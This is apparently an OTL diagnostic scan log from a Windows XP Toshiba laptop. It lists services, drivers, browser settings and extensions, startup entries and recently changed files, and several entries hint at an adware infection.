SRV - [2013/01/18 17:10:18 | 000,577,536 | ---- | M] (Research In Motion Limited) [On_Demand | Running] -- C:\Program Files\Common Files\Research In Motion\USB Drivers\BbDevMgr.exe -- (Blackberry Device Manager)
SRV - [2012/07/13 16:27:00 | 000,769,432 | ---- | M] (Nero AG) [Auto | Stop_Pending] -- C:\Program Files\Nero\Update\NASvc.exe -- (NAUpdate)
SRV - [2010/03/18 13:25:55 | 000,126,976 | ---- | M] (CrypKey (Canada) Ltd.) [Auto | Running] -- C:\WINDOWS\system32\Crypserv.exe -- (CrypKey License)
SRV - [2009/02/09 06:01:52 | 000,040,960 | ---- | M] (TOSHIBA CORPORATION) [Auto | Running] -- C:\Program Files\TOSHIBA\ConfigFree\CFSvcs.exe -- (CFSvcs)
SRV - [2004/08/27 16:33:00 | 000,110,592 | ---- | M] (Matsushita Electric Industrial Co., Ltd.) [Auto | Running] -- C:\WINDOWS\system32\DVDRAMSV.exe -- (DVD-RAM_Service)
SRV - [2003/03/09 22:31:02 | 000,065,795 | ---- | M] (HP) [On_Demand | Stopped] -- C:\WINDOWS\system32\HPZipm12.exe -- (Pml Driver HPZ12)
SRV - [2000/09/28 23:58:42 | 000,129,536 | ---- | M] (Symantec Corporation) [Auto | Running] -- C:\WINDOWS\system32\WFXSVC.EXE -- (wfxsvc)
 
 
========== Driver Services (SafeList) ==========
 
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (WDICA)
DRV - File not found [Kernel | System | Stopped] -- C:\Program Files\TOSHIBA\Accessibility\StickyMesger.sys -- (StickyMesger)
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (PDRFRAME)
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (PDRELI)
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (PDFRAME)
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (PDCOMP)
DRV - File not found [Kernel | System | Stopped] --  -- (PCIDump)
DRV - File not found [Kernel | System | Stopped] --  -- (lbrtfdc)
DRV - File not found [Kernel | System | Stopped] --  -- (i2omgmt)
DRV - File not found [Kernel | System | Stopped] --  -- (Changer)
DRV - [2013/01/22 12:59:30 | 000,028,312 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\WLRAWMp50x86.sys -- (WLRAWMp50x86)
DRV - [2013/01/22 12:59:30 | 000,027,032 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\WLRAWSp50x86.sys -- (WLRAWSp50x86)
DRV - [2010/03/18 16:11:11 | 000,023,360 | ---- | M] () [Kernel | System | Running] -- C:\WINDOWS\system32\Ckldrv.sys -- (NetWorkX)
DRV - [2009/02/09 04:54:24 | 000,012,032 | ---- | M] (TOSHIBA Corporation.) [Kernel | Auto | Running] -- C:\WINDOWS\system32\drivers\Netdevio.sys -- (Netdevio)
DRV - [2008/01/09 07:19:16 | 002,216,064 | R--- | M] (Intel® Corporation) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\w29n51.sys -- (w29n51)
DRV - [2005/04/28 01:26:48 | 000,037,248 | ---- | M] (ENE Technology Inc.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\ESD7SK.sys -- (ESDCR)
DRV - [2005/04/26 19:53:06 | 000,074,112 | ---- | M] (ENE Technology Inc.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\ESM7SK.sys -- (ESMCR)
DRV - [2005/04/18 19:40:52 | 002,317,504 | ---- | M] (Realtek Semiconductor Corp.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\ALCXWDM.SYS -- (ALCXWDM)
DRV - [2005/04/15 13:46:04 | 000,029,056 | ---- | M] (TOSHIBA Corporation) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\Tvs.sys -- (Tvs)
DRV - [2005/04/12 00:11:43 | 001,066,278 | ---- | M] (Agere Systems) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\AGRSM.sys -- (AgereSoftModem)
DRV - [2005/03/22 08:00:58 | 001,034,752 | ---- | M] (ATI Technologies Inc.) [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\ati2mtag.sys -- (ati2mtag)
DRV - [2005/03/09 09:14:34 | 000,008,704 | ---- | M] (TOSHIBA ) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\TPwSav.sys -- (TPwSav)
DRV - [2005/03/03 20:10:26 | 000,074,496 | ---- | M] (Realtek Semiconductor Corporation                           ) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\Rtlnicxp.sys -- (RTL8023xp)
DRV - [2005/02/25 01:33:00 | 000,102,320 | ---- | M] (Matsushita Electric Industrial Co.,Ltd.) [File_System | System | Running] -- C:\WINDOWS\system32\drivers\meiudf.sys -- (meiudf)
DRV - [2005/01/12 19:04:18 | 000,057,984 | ---- | M] (ENE Technology Inc.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\EMS7SK.sys -- (EMSCR)
DRV - [2004/07/31 07:05:04 | 000,006,400 | ---- | M] (COMPAL ELECTRONIC INC.) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\EPIOMngr.sys -- (SerTVOutCtlr)
DRV - [2004/07/30 15:05:08 | 000,006,400 | ---- | M] (COMPAL ELECTRONIC INC.) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\SSIOMngr.sys -- (SrvcSSIOMngr)
DRV - [2004/07/30 15:05:04 | 000,006,400 | ---- | M] (COMPAL ELECTRONIC INC.) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\EKIOMngr.sys -- (SrvcEKIOMngr)
DRV - [2004/05/08 05:38:06 | 000,101,833 | ---- | M] (Alps Electric Co., Ltd.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\Apfiltr.sys -- (ApfiltrService)
DRV - [2003/09/19 01:47:00 | 000,010,368 | ---- | M] (Padus, Inc.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\pfc.sys -- (Pfc)
DRV - [2002/01/24 15:43:40 | 000,006,528 | ---- | M] () [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\Tbiosdrv.sys -- (TBiosDrv)
DRV - [2001/09/18 12:00:00 | 000,167,816 | ---- | M] (OmniVision Technologies, Inc.) [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\omcamvid.sys -- (OVT511Plus)
 
 
========== Standard Registry (SafeList) ==========
 
 
========== Internet Explorer ==========
 
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page =
IE - HKLM\..\SearchScopes,DefaultScope =
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/...ms}&FORM=IE8SRC
IE - HKLM\..\SearchScopes\{DBF405DC-BD13-4BBD-B384-4540B26E4551}: "URL" = http://www.google.co...g}&sourceid=ie7
 
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar =
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Search Page =
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com/
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Search,Default_Search_URL =
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Search,SearchAssistant =
IE - HKCU\..\SearchScopes,DefaultScope =
IE - HKCU\..\SearchScopes\{DBF405DC-BD13-4BBD-B384-4540B26E4551}: "URL" = http://www.google.co...g}&sourceid=ie7
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyOverride" = <-loopback>
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyServer" = http=127.0.0.1:1938;https=127.0.0.1:1938
 
========== FireFox ==========
 
FF - prefs.js..browser.search.defaultenginename: ""
FF - prefs.js..browser.search.defaultenginename,S: S", ""
FF - prefs.js..browser.search.defaultthis.engineName: ""
FF - prefs.js..browser.search.defaulturl: ""
FF - prefs.js..browser.search.order.1: ""
FF - prefs.js..browser.search.order.1,S: S", ""
FF - prefs.js..browser.search.selectedEngine: ""
FF - prefs.js..browser.search.selectedEngine,S: S", ""
FF - prefs.js..extensions.enabledAddons:
FF - prefs.js..extensions.enabledAddons:
FF - prefs.js..extensions.enabledAddons: %7Bad9a41d2-9a49-4fa6-a79e-71a0785364c8%7D:9.5.3
FF - prefs.js..extensions.enabledAddons:
FF - prefs.js..extensions.enabledAddons:
FF - prefs.js..extensions.enabledAddons: %7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:26.0
FF - user.js - File not found
 
FF - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\WINDOWS\system32\Macromed\Flash\NPSWF32_12_0_0_77.dll ()
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=:  File not found
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=1.0: C:\Program Files\iTunes\Mozilla Plugins\npitunes.dll ()
FF - HKLM\Software\MozillaPlugins\@Microsoft.com/DownloadManager,version=1.1: C:\WINDOWS\ [2014/04/21 12:12:19 | 000,000,000 | ---D | M]
FF - HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: c:\Program Files\Microsoft Silverlight\5.1.30214.0\npctrl.dll ( Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/WPF,version=3.5: c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@RIM.com/WebSLLauncher,version=1.0: C:\Program Files\Common Files\Research In Motion\BBWebSLLauncher\NPWebSLLauncher.dll ()
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=3: C:\Program Files\Google\Update\1.3.23.9\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=9: C:\Program Files\Google\Update\1.3.23.9\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@videolan.org/vlc,version=2.0.5: C:\Program Files\VideoLAN\VLC\npvlc.dll (VideoLAN)
FF - HKCU\Software\MozillaPlugins\@adobe.com/Acrobat,version=5.1: C:\Program Files\Adobe\Acrobat 5.0\Reader\Browser\nppdf32.dll (Adobe Systems Inc.)
 
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 26.0\extensions\\Components: C:\Program Files\Mozilla Firefox\components
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 26.0\extensions\\Plugins: C:\Program Files\Mozilla Firefox\plugins
 
[2013/04/04 23:26:09 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Extensions
[2014/04/21 10:45:01 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions
[2014/04/19 23:58:51 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged
[2014/04/19 23:58:51 | 000,353,958 | ---- | M] () (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}.xpi
[2013/12/21 18:21:15 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files\Mozilla Firefox\extensions
[2013/12/21 18:21:14 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files\Mozilla Firefox\browser\extensions
[2013/12/21 18:22:14 | 000,000,000 | ---D | M] (Default) -- C:\Program Files\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}
File not found (No name found) -- C:\DOCUMENTS AND SETTINGS\MICHAEL.TOSHIBA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\DP9XCVWZ.DEFAULT\EXTENSIONS\{AD9A41D2-9A49-4FA6-A79E-71A0785364C8}
File not found (No name found) -- C:\DOCUMENTS AND SETTINGS\MICHAEL.TOSHIBA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\DP9XCVWZ.DEFAULT\EXTENSIONS\A0046B9B-FDB9-497F-A4B1-2A108AD6007A@5CDF80B7-0420-4BB7-B3C0-E188E6F4FB8A.COM
File not found (No name found) -- C:\DOCUMENTS AND SETTINGS\MICHAEL.TOSHIBA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\DP9XCVWZ.DEFAULT\EXTENSIONS\A9719E64-232B-4695-AE9C-A89CD7F2AA84@CA1279DF-BC0D-44A8-97EF-19301C922B68.COM
File not found (No name found) -- C:\DOCUMENTS AND SETTINGS\MICHAEL.TOSHIBA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\DP9XCVWZ.DEFAULT\EXTENSIONS\[email protected]
[2013/04/18 21:10:11 | 000,000,000 | ---D | M] (Microsoft .NET Framework Assistant) -- C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V3.5\WINDOWS PRESENTATION FOUNDATION\DOTNETASSISTANTEXTENSION
 
========== Chrome  ==========
 
CHR - default_search_provider: Conduit Search (Enabled)
CHR - default_search_provider: search_url = http://www.google.com
CHR - default_search_provider: suggest_url = http://www.google.com,
CHR - homepage: http://www.google.com/
CHR - plugin: Shockwave Flash (Enabled) = C:\Program Files\Google\Chrome\Application\34.0.1847.116\PepperFlash\pepflashplayer.dll
CHR - plugin: Chrome Remote Desktop Viewer (Enabled) = internal-remoting-viewer
CHR - plugin: Native Client (Enabled) = C:\Program Files\Google\Chrome\Application\34.0.1847.116\ppGoogleNaClPluginChrome.dll
CHR - plugin: Chrome PDF Viewer (Enabled) = C:\Program Files\Google\Chrome\Application\34.0.1847.116\pdf.dll
CHR - plugin: Microsoft® DRM (Enabled) = C:\Program Files\Windows Media Player\npdrmv2.dll
CHR - plugin: Windows Media Player Plug-in Dynamic Link Library (Enabled) = C:\Program Files\Windows Media Player\npdsplay.dll
CHR - plugin: Microsoft® DRM (Enabled) = C:\Program Files\Windows Media Player\npwmsdrm.dll
CHR - plugin: Adobe Acrobat (Enabled) = C:\Program Files\Adobe\Acrobat 5.0\Reader\Browser\nppdf32.dll
CHR - plugin: Google Update (Enabled) = C:\Program Files\Google\Update\1.3.21.165\npGoogleUpdate3.dll
CHR - plugin: VLC Web Plugin (Enabled) = C:\Program Files\VideoLAN\VLC\npvlc.dll
CHR - plugin: iTunes Application Detector (Enabled) = C:\Program Files\iTunes\Mozilla Plugins\npitunes.dll
CHR - plugin: Shockwave Flash (Enabled) = C:\WINDOWS\system32\Macromed\Flash\NPSWF32_11_9_900_117.dll
CHR - plugin: Windows Presentation Foundation (Enabled) = c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll
CHR - Extension: Google Docs = C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.5_0\
CHR - Extension: Re-markit = C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\ikcggonfhgaingjbhjanbibmlfeomooc\1.158.0.0_0\
CHR - Extension: Google Wallet = C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0\
 
O1 HOSTS File: ([2014/04/21 10:45:26 | 000,000,098 | ---- | M]) - C:\WINDOWS\system32\drivers\etc\Hosts
O1 - Hosts: 127.0.0.1       localhost
O1 - Hosts: ::1       localhost
O2 - BHO: (AcroIEHlprObj Class) - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 5.0\Acrobat\ActiveX\AcroIEHelper.ocx ()
O2 - BHO: (DriveLetterAccess) - {5CA3D70E-1895-11CF-8E15-001234567890} - C:\WINDOWS\system32\dla\tfswshx.dll (Sonic Solutions)
O4 - HKLM..\Run: [APSDaemon] C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe (Apple Inc.)
O4 - HKLM..\Run: [CeEKEY] C:\Program Files\TOSHIBA\E-KEY\CeEKey.exe (COMPAL ELECTRONIC INC.)
O4 - HKLM..\Run: [HWSetup] C:\Program Files\TOSHIBA\TOSHIBA Applet\HWSetup.exe (TOSHIBA CO.,LTD.)
O4 - HKLM..\Run: [LtMoh] C:\\Program Files\\ltmoh\\Ltmoh.exe ()
O4 - HKLM..\Run: [MSC] c:\Program Files\Microsoft Security Client\msseces.exe (Microsoft Corporation)
O4 - HKLM..\Run: [NDSTray.exe] NDSTray.exe File not found
O4 - HKLM..\Run: [NvCplDaemon] C:\WINDOWS\System32\NvCpl.dll (NVIDIA Corporation)
O4 - HKLM..\Run: [nwiz] C:\WINDOWS\System32\nwiz.exe (NVIDIA Corporation)
O4 - HKLM..\Run: [PadTouch] C:\Program Files\TOSHIBA\Touch and Launch\PadExe.exe (TOSHIBA)
O4 - HKLM..\Run: [RIMBBLaunchAgent.exe] C:\Program Files\Common Files\Research In Motion\USB Drivers\RIMBBLaunchAgent.exe (Research In Motion Limited)
O4 - HKLM..\Run: [SmoothView] C:\Program Files\TOSHIBA\TOSHIBA Zooming Utility\SmoothView.exe (TOSHIBA Corporation)
O4 - HKLM..\Run: [SVPWUTIL] C:\Program Files\Toshiba\Windows Utilities\SVPWUTIL.exe (TOSHIBA)
O4 - HKLM..\Run: [TCtryIOHook] C:\WINDOWS\System32\TCtrlIOHook.exe (TOSHIBA)
O4 - HKLM..\Run: [TFncKy] TFncKy.exe File not found
O4 - HKLM..\Run: [TOSHIBA Accessibility] C:\Program Files\TOSHIBA\Accessibility\FnKeyHook.exe (TOSHIBA)
O4 - HKLM..\Run: [TPNF] C:\Program Files\TOSHIBA\TouchPad\TPTray.exe (COMPAL ELECTRONIC INC.)
O4 - HKLM..\Run: [TPSMain] C:\WINDOWS\System32\TPSMain.exe (TOSHIBA Corporation)
O4 - HKLM..\Run: [Tvs] C:\Program Files\TOSHIBA\Tvs\TvsTray.exe (TOSHIBA Corporation)
O4 - HKLM..\Run: [WFXSwtch] C:\Program Files\WinFax\WFXSWTCH.exe ()
O4 - HKLM..\Run: [WinFaxAppPortStarter] C:\WINDOWS\System32\WFXSNT40.EXE (Microsoft Corporation)
O4 - HKLM..\Run: [ZoomingHook] C:\WINDOWS\System32\ZoomingHook.exe (TOSHIBA)
O4 - HKCU..\Run: [TOSCDSPD] C:\Program Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exe (TOSHIBA)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Acrobat Assistant.lnk = C:\Program Files\Adobe\Acrobat 5.0\Distillr\AcroTray.exe (Adobe Systems Inc.)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe Gamma Loader.lnk = C:\Program Files\Common Files\Adobe\Calibration\Adobe Gamma Loader.exe (Adobe Systems, Inc.)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\hp psc 1000 series.lnk = C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpohmr08.exe (Hewlett-Packard Co.)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\hpoddt01.exe.lnk = C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpotdd01.exe (Hewlett-Packard)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RAMASST.lnk = C:\WINDOWS\system32\RAMASST.exe (Matsushita Electric Industrial Co., Ltd.)
O7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145
O9 - Extra 'Tools' menuitem : Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.5.0\bin\NPJPI150.dll (Sun Microsystems, Inc.)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000004 [] - C:\Program Files\Bonjour\mdnsNSP.dll (Apple Inc.)
O12 - Plugin for: .spop - C:\Program Files\Internet Explorer\PLUGINS\NPDocBox.dll (InterTrust Technologies Corporation, Inc.)
O16 - DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} http://windowsupdate...b?1365139771873 (WUWebControl Class)
O16 - DPF: {6E32070A-766D-4EE6-879C-DC1FA91D2FC3} http://www.update.mi...b?1366086642671 (MUWebControl Class)
O16 - DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} http://java.sun.com/...indows-i586.cab (Java Plug-in 1.5.0)
O16 - DPF: {B479199A-1242-4E3C-AD81-7F0DF801B4AE} http://download.micr...loadManager.cab (Microsoft Download Manager ActiveX control)
O16 - DPF: {CAFEEFAC-0015-0000-0000-ABCDEFFEDCBA} http://java.sun.com/...indows-i586.cab (Java Plug-in 1.5.0)
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 192.168.1.254 75.153.176.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{29FB9B13-C47B-4FD1-8410-EE0A0F25916A}: DhcpNameServer = 192.168.1.254 75.153.176.1
O18 - Protocol\Handler\skype4com {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files\Common Files\Skype\Skype4COM.dll (Skype Technologies)
O20 - HKLM Winlogon: Shell - (Explorer.exe) - C:\WINDOWS\explorer.exe (Microsoft Corporation)
O20 - HKLM Winlogon: UserInit - (C:\WINDOWS\system32\userinit.exe) - C:\WINDOWS\system32\userinit.exe (Microsoft Corporation)
O20 - Winlogon\Notify\AtiExtEvent: DllName - (Ati2evxx.dll) - C:\WINDOWS\System32\ati2evxx.dll (ATI Technologies Inc.)
O20 - Winlogon\Notify\igfxcui: DllName - (igfxsrvc.dll) - C:\WINDOWS\System32\igfxsrvc.dll (Intel Corporation)
O24 - Desktop WallPaper: C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Microsoft\Wallpaper1.bmp
O24 - Desktop BackupWallPaper: C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Microsoft\Wallpaper1.bmp
O28 - HKLM ShellExecuteHooks: {A213B520-C6C2-11d0-AF9D-008029E1027E} - C:\Program Files\WinFax\WFXSEH32.DLL (Symantec Corporation)
O32 - HKLM CDRom: AutoRun - 1
O32 - AutoRun File - [2005/05/12 15:34:28 | 000,000,000 | ---- | M] () - C:\AUTOEXEC.BAT -- [ NTFS ]
O34 - HKLM BootExecute: (autocheck autochk *)
O35 - HKLM\..comfile [open] -- "%1" %*
O35 - HKLM\..exefile [open] -- "%1" %*
O37 - HKLM\...com [@ = comfile] -- "%1" %*
O37 - HKLM\...exe [@ = exefile] -- "%1" %*
O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)
O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2)
 
========== Files/Folders - Created Within 30 Days ==========
 
[2014/04/21 12:46:04 | 000,000,000 | ---D | C] -- C:\AdwCleaner
[2014/04/21 10:44:18 | 000,000,000 | ---D | C] -- C:\_OTL
[2014/04/20 15:09:36 | 000,602,112 | ---- | C] (OldTimer Tools) -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\OTL.exe
[2014/04/20 11:25:37 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Start Menu\Programs\Axantum AxCrypt
[2014/04/20 11:25:37 | 000,000,000 | ---D | C] -- C:\Program Files\Axantum
[2014/04/20 10:01:06 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Start Menu\Programs\Startup
[2014/04/20 00:22:13 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\ContentExplorer
[2014/04/19 14:09:42 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\My Documents\BlackBerry
[2014/04/19 13:58:26 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Research In Motion
[2014/04/19 13:58:24 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Research In Motion
[2014/04/19 13:49:45 | 000,014,640 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\System32\spmsgXP_2k3.dll
[2014/04/19 13:49:15 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Start Menu\Programs\BlackBerry
[2014/04/19 13:49:06 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Application Data\Research In Motion
[2014/04/19 13:48:15 | 000,000,000 | ---D | C] -- C:\Program Files\Common Files\XCPCSync.OEM
[2014/04/19 13:48:15 | 000,000,000 | ---D | C] -- C:\Program Files\Research In Motion
[2014/04/19 13:48:15 | 000,000,000 | ---D | C] -- C:\Program Files\Common Files\Research In Motion
[2 C:\Program Files\*.tmp files -> C:\Program Files\*.tmp -> ]
[1 C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\*.tmp files -> C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\*.tmp -> ]
 
========== Files - Modified Within 30 Days ==========
 
[2014/04/21 13:07:36 | 000,000,384 | -H-- | M] () -- C:\WINDOWS\tasks\Microsoft Antimalware Scheduled Scan.job
[2014/04/21 13:01:37 | 000,021,876 | ---- | M] () -- C:\WINDOWS\System32\nvapps.xml
[2014/04/21 13:01:07 | 000,000,884 | ---- | M] () -- C:\WINDOWS\tasks\GoogleUpdateTaskMachineCore.job
[2014/04/21 13:01:06 | 000,000,226 | ---- | M] () -- C:\WINDOWS\tasks\Microsoft Windows XP End of Service Notification Logon.job
[2014/04/21 12:57:23 | 000,002,048 | --S- | M] () -- C:\WINDOWS\bootstat.dat
[2014/04/21 12:57:21 | 2145,898,496 | -HS- | M] () -- C:\hiberfil.sys
[2014/04/21 12:44:25 | 001,324,843 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\AdwCleaner.exe
[2014/04/21 12:32:24 | 000,000,888 | ---- | M] () -- C:\WINDOWS\tasks\GoogleUpdateTaskMachineUA.job
[2014/04/21 12:32:00 | 000,000,830 | ---- | M] () -- C:\WINDOWS\tasks\Adobe Flash Player Updater.job
[2014/04/21 10:45:26 | 000,000,098 | ---- | M] () -- C:\WINDOWS\System32\drivers\etc\Hosts
[2014/04/20 15:09:42 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\OTL.exe
[2014/04/20 09:42:34 | 000,001,374 | ---- | M] () -- C:\WINDOWS\imsins.BAK
[2014/04/20 00:56:02 | 000,001,110 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\Live PC Help.lnk
[2014/04/20 00:41:43 | 000,001,094 | ---- | M] () -- C:\WINDOWS\tasks\temp_f08de44e-751a-4092-ad9e-9c9a07ee0606-2.job
[2014/04/19 16:45:49 | 000,000,803 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Microsoft\Internet Explorer\Quick Launch\Launch Microsoft Office Outlook.lnk
[2014/04/19 16:33:55 | 000,000,220 | ---- | M] () -- C:\WINDOWS\tasks\Microsoft Windows XP End of Service Notification Monthly.job
[2014/04/19 16:30:13 | 000,000,664 | ---- | M] () -- C:\WINDOWS\System32\d3d9caps.dat
[2014/04/19 16:15:10 | 000,001,553 | ---- | M] () -- C:\Documents and Settings\All Users\Desktop\iTunes.lnk
[2014/04/19 14:53:50 | 000,007,680 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
[2014/04/19 14:09:40 | 000,000,000 | -H-- | M] () -- C:\WINDOWS\System32\drivers\Msft_Kernel_RimUsb_01007.Wdf
[2014/04/19 13:49:55 | 000,000,000 | -H-- | M] () -- C:\WINDOWS\System32\drivers\Msft_Kernel_RimSerial_01007.Wdf
[2014/04/19 13:49:53 | 000,000,000 | -H-- | M] () -- C:\WINDOWS\System32\drivers\MsftWdf_Kernel_01007_Coinstaller_Critical.Wdf
[2014/04/19 12:57:58 | 000,001,824 | ---- | M] () -- C:\Documents and Settings\All Users\Desktop\Google Chrome.lnk
[2014/04/19 12:26:11 | 000,002,206 | ---- | M] () -- C:\WINDOWS\System32\wpa.dbl
[2 C:\Program Files\*.tmp files -> C:\Program Files\*.tmp -> ]
[1 C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\*.tmp files -> C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\*.tmp -> ]
 
========== Files Created - No Company Name ==========
 
[2014/04/21 12:44:17 | 001,324,843 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\AdwCleaner.exe
[2014/04/20 00:56:02 | 000,001,110 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\Live PC Help.lnk
[2014/04/20 00:41:38 | 000,001,094 | ---- | C] () -- C:\WINDOWS\tasks\temp_f08de44e-751a-4092-ad9e-9c9a07ee0606-2.job
[2014/04/19 16:45:49 | 000,000,803 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Microsoft\Internet Explorer\Quick Launch\Launch Microsoft Office Outlook.lnk
[2014/04/19 16:30:49 | 000,123,592 | ---- | C] () -- C:\Documents and Settings\LocalService\Local Settings\Application Data\FontCache3.0.0.0.dat
